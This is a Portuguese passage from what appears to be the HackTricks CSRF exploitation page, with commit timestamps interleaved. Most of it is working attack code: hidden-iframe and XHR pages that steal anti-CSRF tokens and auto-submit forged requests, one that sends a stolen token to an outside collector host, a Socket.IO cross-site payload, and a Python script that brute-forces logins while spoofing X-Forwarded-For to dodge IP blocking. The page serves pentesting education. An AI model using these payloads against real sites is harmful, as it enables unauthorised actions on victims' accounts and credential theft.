3. O atacante usa JavaScript para disparar automaticamente a solicitação Ajax assim que a página é carregada no navegador do usuário alvo.
4. A solicitação Ajax é enviada para o alvo legítimo, executando a ação desejada usando o token CSRF roubado.
Essas técnicas permitem que um atacante explore a falta de proteção adequada contra CSRF em um site, enganando os usuários para que executem ações indesejadas sem o seu conhecimento. É importante que os desenvolvedores implementem medidas de segurança, como tokens CSRF aleatórios e verificação de referência, para mitigar esse tipo de ataque.
```markup
<form id="form1" action="http://google.com?param=VALUE" method="post" enctype="multipart/form-data">
<input type="text" name="username" value="AA">
<input type="checkbox" name="status" checked="checked">
<input id="token" type="hidden" name="token" value="" />
</form>
<script type="text/javascript">
function f1(){
x1=document.getElementById("i1");
x1d=(x1.contentWindow||x1.contentDocument);
t=x1d.document.getElementById("token").value;
document.getElementById("token").value=t;
document.getElementById("form1").submit();
}
</script>
<iframe id="i1" style="display:none" src="http://google.com?param=VALUE" onload="javascript:f1();"></iframe>
```
2023-06-06 18:56:34 +00:00
### **Roubar o Token CSRF e enviar uma solicitação POST usando um iframe e um formulário**
Uma técnica comum de ataque CSRF (Cross-Site Request Forgery) envolve roubar o token CSRF de um usuário e usá-lo para enviar uma solicitação POST maliciosa. Isso pode ser feito usando um iframe e um formulário.
2023-06-06 18:56:34 +00:00
1. Primeiro, o atacante cria um site malicioso que contém um iframe invisível. O atributo `src` do iframe é definido como o URL do site alvo que contém a funcionalidade CSRF.
```html
<iframe style="display:none" src="https://www.sitetalvo.com/"></iframe>
```
2. Em seguida, o atacante cria um formulário no site malicioso. O formulário é configurado para enviar uma solicitação POST para o site alvo, incluindo o token CSRF roubado.
```html
<form action="https://www.sitetalvo.com/endpoint" method="POST">
<input type="hidden" name="csrf_token" value="TOKEN_CSRF_ROUBADO">
<input type="submit" value="Enviar">
</form>
```
3. Quando um usuário visita o site malicioso, o iframe invisível é carregado em segundo plano, fazendo com que o token CSRF seja solicitado do site alvo.
4. O token CSRF é então preenchido automaticamente no formulário e a solicitação POST é enviada quando o usuário clica no botão "Enviar".
5. Como o usuário está autenticado no site alvo, a solicitação POST é considerada legítima e processada pelo servidor.
Essa técnica de ataque CSRF pode ser eficaz para explorar sites que não implementam medidas de proteção adequadas, como a verificação do referenciador ou a inclusão de tokens CSRF exclusivos em cada solicitação. É importante que os desenvolvedores implementem práticas recomendadas de segurança para mitigar esse tipo de ataque.
```markup
<iframe id="iframe" src="http://google.com?param=VALUE" width="500" height="500" onload="read()"></iframe>
<script>
function read()
{
var name = 'admin2';
var token = document.getElementById("iframe").contentDocument.forms[0].token.value;
document.writeln('<form width="0" height="0" method="post" action="http://www.yoursebsite.com/check.php" enctype="multipart/form-data">');
document.writeln('<input id="username" type="text" name="username" value="' + name + '" /><br />');
document.writeln('<input id="token" type="hidden" name="token" value="' + token + '" />');
document.writeln('<input type="submit" name="submit" value="Submit" /><br/>');
document.writeln('</form>');
document.forms[0].submit.click();
}
</script>
```
2023-06-06 18:56:34 +00:00
### **Roubar token e enviá-lo usando 2 iframes**
Uma técnica comum de Cross-Site Request Forgery (CSRF) envolve roubar um token de autenticação de um usuário e enviá-lo para um atacante usando iframes. Essa técnica explora a confiança do servidor em um token válido para executar ações maliciosas em nome do usuário.
O processo geral é o seguinte:
1. O atacante cria uma página maliciosa que contém dois iframes.
2. O primeiro iframe é carregado com a página alvo que contém a ação que o atacante deseja executar.
3. O segundo iframe é carregado com uma página controlada pelo atacante.
4. O código JavaScript no segundo iframe rouba o token de autenticação da página alvo.
5. O código JavaScript no segundo iframe envia o token roubado para o atacante usando uma solicitação HTTP.
Essa técnica permite que o atacante execute ações em nome do usuário sem o conhecimento ou consentimento dele. Para se proteger contra esse tipo de ataque, é importante implementar medidas de segurança, como o uso de tokens anti-CSRF, que são exclusivos para cada sessão de usuário e são verificados em todas as solicitações. Além disso, é recomendável evitar o uso de iframes em páginas que executam ações sensíveis.
```markup
<script>
var token;
function readframe1(){
token = frame1.document.getElementById("profile").token.value;
document.getElementById("bypass").token.value = token
loadframe2();
}
function loadframe2(){
var test = document.getElementbyId("frame2");
test.src = "http://requestb.in/1g6asbg1?token="+token;
}
</script>
<iframe id="frame1" name="frame1" src="http://google.com?param=VALUE" onload="readframe1()"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<iframe id="frame2" name="frame2"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<body onload="document.forms[0].submit()">
<form id="bypass" name"bypass" method="POST" target="frame2" action="http://google.com?param=VALUE" enctype="multipart/form-data">
<input type="text" name="username" value="z">
<input type="checkbox" name="status" checked="">
<input id="token" type="hidden" name="token" value="0000" />
<button type="submit">Submit</button>
</form>
```
### **POSTRoubar token CSRF com Ajax e enviar um post com um formulário**
2023-06-06 18:56:34 +00:00
Uma técnica comum para explorar vulnerabilidades de Cross-Site Request Forgery (CSRF) é roubar o token CSRF de um usuário autenticado e usá-lo para enviar uma solicitação POST maliciosa. Isso pode ser feito usando Ajax para obter o token CSRF e, em seguida, enviá-lo junto com os dados do formulário em uma solicitação POST.
Aqui está um exemplo de como essa técnica pode ser implementada:
2023-06-06 18:56:34 +00:00
```javascript
// Obter o token CSRF usando Ajax
2023-06-06 18:56:34 +00:00
var xhr = new XMLHttpRequest();
xhr.open('GET', '/get-csrf-token', true);
xhr.onreadystatechange = function() {
if (xhr.readyState === 4 && xhr.status === 200) {
var csrfToken = xhr.responseText;
// Enviar uma solicitação POST com o token CSRF e os dados do formulário
var formData = new FormData();
formData.append('csrf_token', csrfToken);
formData.append('username', 'hacker');
formData.append('password', 'senha123');
var xhr2 = new XMLHttpRequest();
xhr2.open('POST', '/login', true);
xhr2.onreadystatechange = function() {
if (xhr2.readyState === 4 && xhr2.status === 200) {
// Processar a resposta da solicitação POST
console.log(xhr2.responseText);
}
};
xhr2.send(formData);
}
2023-06-06 18:56:34 +00:00
};
xhr.send();
```
Neste exemplo, o código JavaScript faz uma solicitação GET para obter o token CSRF do servidor. Em seguida, ele cria um objeto FormData e anexa o token CSRF, juntamente com os dados do formulário (nome de usuário e senha). Finalmente, uma solicitação POST é enviada para o servidor com o token CSRF e os dados do formulário.
É importante ressaltar que essa técnica só funcionará se o token CSRF estiver acessível por meio de uma solicitação GET. Além disso, o servidor deve aceitar solicitações POST com o token CSRF fornecido no corpo da solicitação.
Os desenvolvedores devem implementar medidas de proteção adequadas, como tokens CSRF com tempo de validade curto e verificação de referência do cabeçalho HTTP, para mitigar esse tipo de ataque.
```markup
<body onload="getData()">
<form id="form" action="http://google.com?param=VALUE" method="POST" enctype="multipart/form-data">
<input type="hidden" name="username" value="root"/>
<input type="hidden" name="status" value="on"/>
<input type="hidden" id="findtoken" name="token" value=""/>
<input type="submit" value="valider"/>
</form>
<script>
var x = new XMLHttpRequest();
function getData() {
x.withCredentials = true;
x.open("GET","http://google.com?param=VALUE",true);
x.send(null);
}
x.onreadystatechange = function() {
if (x.readyState == XMLHttpRequest.DONE) {
var token = x.responseText.match(/name="token" value="(.+)"/)[1];
document.getElementById("findtoken").value = token;
document.getElementById("form").submit();
}
}
</script>
```
2023-06-06 18:56:34 +00:00
### CSRF com Socket.IO
O Cross-Site Request Forgery (CSRF) é uma vulnerabilidade que permite que um atacante execute ações não autorizadas em nome de um usuário autenticado em um aplicativo da web. O Socket.IO é uma biblioteca JavaScript que permite a comunicação em tempo real entre o cliente e o servidor. Neste capítulo, discutiremos como o CSRF pode ser explorado em aplicativos que usam o Socket.IO.
#### Como o CSRF funciona com o Socket.IO?
O Socket.IO usa um mecanismo de autenticação baseado em cookies para estabelecer uma conexão persistente entre o cliente e o servidor. No entanto, o Socket.IO não protege contra ataques CSRF por padrão. Isso significa que um atacante pode explorar uma vulnerabilidade CSRF para executar ações maliciosas em nome de um usuário autenticado.
2023-06-06 18:56:34 +00:00
#### Explorando CSRF com Socket.IO
2023-06-06 18:56:34 +00:00
Para explorar o CSRF com o Socket.IO, um atacante precisa enganar um usuário autenticado a visitar um site malicioso que contém um código JavaScript malicioso. Esse código JavaScript pode ser usado para enviar solicitações maliciosas para o servidor Socket.IO em nome do usuário autenticado.
#### Prevenção de CSRF com Socket.IO
Para prevenir ataques CSRF com o Socket.IO, é importante implementar medidas de proteção adequadas. Algumas práticas recomendadas incluem:
- Usar tokens CSRF: Implementar um mecanismo de token CSRF para verificar a origem das solicitações recebidas pelo servidor Socket.IO.
- Verificar a origem da solicitação: Certificar-se de que as solicitações recebidas pelo servidor Socket.IO são provenientes de uma fonte confiável.
- Restringir o acesso a recursos sensíveis: Limitar o acesso a recursos sensíveis apenas a solicitações autenticadas e autorizadas.
Implementar essas práticas recomendadas ajudará a proteger seu aplicativo Socket.IO contra ataques CSRF e garantir a segurança dos usuários autenticados.
2020-08-06 20:38:54 +00:00
```markup
<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
<script>
let socket = io('http://six.jh2i.com:50022/test');
const username = 'admin'
socket.on('connect', () => {
console.log('connected!');
socket.emit('join', {
room: username
});
socket.emit('my_room_event', {
data: '!flag',
room: username
})
2020-08-06 20:38:54 +00:00
});
</script>
```
2022-05-01 13:25:53 +00:00
## CSRF Login Brute Force
2020-11-06 18:22:38 +00:00
O código pode ser usado para realizar um ataque de força bruta em um formulário de login usando um token CSRF (Também está utilizando o cabeçalho X-Forwarded-For para tentar contornar um possível bloqueio de IP):
2020-11-06 18:22:38 +00:00
```python
import request
import re
import random
URL = "http://10.10.10.191/admin/"
PROXY = { "http": "127.0.0.1:8080"}
SESSION_COOKIE_NAME = "BLUDIT-KEY"
USER = "fergus"
PASS_LIST="./words"
def init_session():
#Return CSRF + Session (cookie)
r = requests.get(URL)
csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
csrf = csrf.group(1)
session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
return csrf, session_cookie
2020-11-06 18:22:38 +00:00
def login(user, password):
print(f"{user}:{password}")
csrf, cookie = init_session()
cookies = {SESSION_COOKIE_NAME: cookie}
data = {
"tokenCSRF": csrf,
"username": user,
"password": password,
"save": ""
}
headers = {
"X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
}
r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
if "Username or password incorrect" in r.text:
return False
else:
print(f"FOUND {user} : {password}")
return True
2020-11-06 18:22:38 +00:00
with open(PASS_LIST, "r") as f:
for line in f:
login(USER, line.strip())
2020-11-06 18:22:38 +00:00
```
## Ferramentas <a href="#tools" id="tools"></a>
* [https://github.com/0xInfection/XSRFProbe](https://github.com/0xInfection/XSRFProbe)
2022-09-26 09:52:47 +00:00
* [https://github.com/merttasci/csrf-poc-generator](https://github.com/merttasci/csrf-poc-generator)
2023-06-06 18:56:34 +00:00
## Referências
* [https://portswigger.net/web-security/csrf](https://portswigger.net/web-security/csrf)
* [https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html](https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html)
2022-04-28 16:01:33 +00:00
2022-10-27 23:22:18 +00:00
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
**HackenProof é o lar de todas as recompensas por bugs de criptografia.**
**Seja recompensado sem atrasos**\
As recompensas do HackenProof são lançadas apenas quando os clientes depositam o orçamento de recompensa. Você receberá a recompensa após a verificação do bug.
2023-02-27 09:28:45 +00:00
**Adquira experiência em pentesting web3**\
Protocolos de blockchain e contratos inteligentes são a nova Internet! Domine a segurança web3 em seus dias de ascensão.
2022-10-27 23:22:18 +00:00
**Torne-se uma lenda hacker web3**\
Ganhe pontos de reputação com cada bug verificado e conquiste o topo do leaderboard semanal.
2023-02-27 09:28:45 +00:00
[**Cadastre-se no HackenProof**](https://hackenproof.com/register) e comece a ganhar com seus hacks!
2023-02-27 09:28:45 +00:00
{% embed url="https://hackenproof.com/register" %}
2022-10-27 23:22:18 +00:00
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? Ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
2023-06-06 18:56:34 +00:00
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>